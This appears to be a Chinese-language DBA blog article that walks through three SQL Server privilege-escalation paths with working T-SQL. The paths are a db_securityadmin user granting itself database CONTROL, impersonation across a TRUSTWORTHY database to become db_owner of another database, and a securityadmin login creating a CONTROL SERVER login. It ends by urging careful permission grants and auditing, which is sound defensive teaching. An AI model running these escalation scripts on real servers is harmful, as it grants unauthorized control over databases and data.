小心被你的同事填坑

   每個人都在各自權限內做事,循規蹈矩,那麼將萬事大吉。但當有人越權處理事情時,尤其當你不知道他在行使你的權利時,那麼事情將變得非常糟糕。作爲一個數據庫管理員,給同事創建數據庫賬戶並分配合適的權限,是DBA工作中不可或缺的一部分。當你給了不合適的權限,而又沒有做輔助的審計措施,那麼很不幸的告訴你,你將可能成爲一個背鍋人。下面我將通過三個場景,分享SQL Server數據庫賬戶做越權的勾當。

情景1:擁有db_securityadmin 權限用戶獲得db_owner權限

      在這個案例中,我們將會爲同事A分配一個擁有db_securityadmin權限的用戶,看其如何行使db_owner角色成員權限。

       我們先創建一個數據庫[DB1] 並且創建登錄名及在數據庫[DB1]中創建對應用戶。我將在SSMS的窗口,假設爲窗口1中,以sysadmin成員的用戶運行如下腳本:

--窗口1
use master
go
if DB_ID('DB1') is not null
       drop database DB1;
create database DB1;
alter database DB1 
set recovery simple;
go
create login loginName1 
with password='HelloWorld!'
     ,check_policy=off
go
use DB1
create user loginName1 
for login loginName1
exec sp_addrolemember 
      db_securityAdmin,loginName1

下面我們將新開一個SSMS窗口,假設爲窗口2,並使用loginName1 登陸。

登陸後,我們試圖創建一個表,腳本如下:

--窗口2,使用loginName1 登陸
use DB1
create table dbo.TestTable(id int);

我們將獲得如下錯誤:

       這正是我們所期望的,因爲loginName1僅僅是db_securityadmin 的成員,其不能進行任何的DDL/DML操作。

      因此,如何提升login Name1的權限,使其可以進行DDL/DML 甚至更多工作,如創建/刪除一個用戶?其實相當簡單。

在窗口2,我們運行如下腳本:

--窗口2,使用loginName1 登陸
use DB1
create role TestRole;
grant control on database::DB1 to TestRole
exec sp_addrolemember TestRole,loginName1;
--現在loginName1具有DML/DDL權限
create table dbo.table1(id int)
insert into table1(id) values(1),(2)
drop table dbo.table1

 腳本主要做了兩件事情,首先創建數據庫角色[TestRole] ,並且爲新角色賦予數據庫[control] 權限,然後將loginName1加入該角色,這樣 loginName1獲得了[DB1] 數據庫幾乎全部權限。即同事A可以對我們的數據庫DB1爲所欲爲了,包括刪除數據庫。我們可以通過運行如下腳本進行查看:

select * from sys.fn_my_permissions(null,'database')

我們將獲得一共74個權限(這是我在SQL Server 2016上獲得的結果),如下面這樣:

 

情景2:數據庫啓動了trustworthy

  

       在這個例子中,我們將看到一個數據庫用戶,在一個trustworthy啓動的數據庫中,可以擁有另外一個數據庫。

       我們將創建兩個數據庫,創建兩個賬戶和其對應的用戶。具體腳本如下:

--窗口1
use DB1
go
--沿用情景1中loginName1,收回情景1中給定的權限
alter role db_securityadmin drop member loginName1
alter role [TestRole] drop MEMBER [loginName1]
drop role TestRole
use master
go
create database DB2;
alter database DB2 set recovery simple;
create login loginName2 with password='HelloWorld!'
       ,check_policy=off
go
use DB1
go
exec sp_addrolemember db_owner,loginName1
create user loginName2 for login loginName2
exec sp_addrolemember db_datareader,loginName2
go
use DB2
go
create user loginName2 for login loginName2
exec sp_addrolemember db_owner,loginName2
go

注意,loginName1 在DB1 中是db_owner的成員,loginName1 不是 DB2的用戶。loginName2 是DB1中db_datareader 角色成員。loginName2是DB2中db_owner的成員。

     現在我們另外打開一個SSMS 窗口,假設爲窗口2,並且使用loginName1 登陸。在新的窗口2中,我們運行如下腳本,我們可以發現,loginName1 不能讀取DB2 的數據:

--窗口2,使用loginName1 登陸
use DB1
print '我是 '+ quotename(user_name(),'[');
select * from db2.dbo.t

我們得到如下信息:

       因此[loginName1] 不能讀取 DB2的對象,這正是我們所期望的。現在即使我們試圖在窗口2中使用 execute as loginName2,讀取DB2.dbo.t,我們仍然不能成功,如下所示:

--窗口2,使用loginName1 登陸
exec as user='loginName2'
select suser_sname(), * from DB2.dbo.t
revert

現在,如果我們檢查DB1 的trustworthy 設置,我們會發現其爲關閉狀態(默認情況):

select
       name,is_trustworthy_on
from sys.databases
where name='DB1'

我們將開啓DB1 的trustworthy設置,下面展示當其開啓後發生了什麼(這將在窗口1由sysadmin賬號執行):

alter database DB1 set trustworthy on
select
       name,is_trustworthy_on
from sys.databases
where name in('DB1','DB2')

現在,我們將再次使用用戶loginName1運行前面窗口2中的腳本,我們將看到如果我們直接使用loginName1運行腳本,我們仍然不能讀取DB2.dbo.t:

但是,如果loginName1模仿loginName2(其爲DB2數據庫db_owner的成員),loginName1可以讀取DB2數據庫的數據:

       實際上,通過模仿,如果[DB1] 啓用 trustworthy,loginName1 可以提升權限至同 loginName2 一致,在這種情況下,loginName2是DB2的db_owner 角色成員,儘管此時loginName1並不是DB2的用戶。

       例如,loginName1甚至可以通過如下動態語句將其自己加入到DB2數據庫,併成爲DB2數據庫db_owner成員(在窗口2運行):

--窗口2,使用loginName1 登陸
exec as user='loginName2'
--select suser_sname(), * from DB2.dbo.t
exec ('use db2; create user [loginName1] 
    from login [loginName1]; 
    alter role db_owner add member [loginName1];')
revert

我們可以通過在窗口1中運行如下腳本,對上面腳本成功與否進行驗證:

我們發現loginName1是DB2的一個用戶,並且是db_owner的一個成員。

 

情景3:擁有SecurityAdmin權限的用戶可以獲得SysAdmin權限

 

SQL Server 在線文檔中,有一個關於securityadmin角色的重要提示,具體如下:

      假設我們有登陸名loginName1 並且其爲securityadmin角色的成員。我們將看到loginName1如何獲得sysadmin權限。

      我們使用sysadmin角色成員的登陸用戶,先打開一個SSMS窗口,假設爲窗口1,運行如下代碼:

--窗口1
use master
if SUSER_ID('loginName1') is not null
       drop login loginName1
create login loginName1 
with password='HelloWorld!'
     ,check_policy=off
exec sp_addsrvrolemember loginName1,securityadmin

現在我們用loginName1 登陸,打開一個新的窗口,窗口2

--窗口2
if SUSER_ID('loginName2') is not null
       drop login loginName2
create login loginName2 
with password='HelloWorld!'
     ,check_policy=off
grant control server to loginName2

因爲loginName1 創建了登錄名loginName2,這意味着loginName1知道loginName2的密碼,因此loginName1再打開一個SSMS窗口,窗口3,使用loginName2登陸。因爲loginName2擁有[control server]權限,所以loginName2幾乎和一個sysadmin成員的賬戶具有相同權限,即loginName2可以創建/刪除數據庫,通過sp_configure配置數據庫,或者關閉SQL Server 實例,如下所示:

如果loginName1在窗口2執行同樣的操作,將不能完成

總結,本文中,我們列舉了SQL Server 登陸名,或者數據庫用戶提升爲更高權限的登陸名/用戶。這提醒我們當賦予這類權限的時候要特別小心,我們需要在合適的地方進行審計,以防權限的濫用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章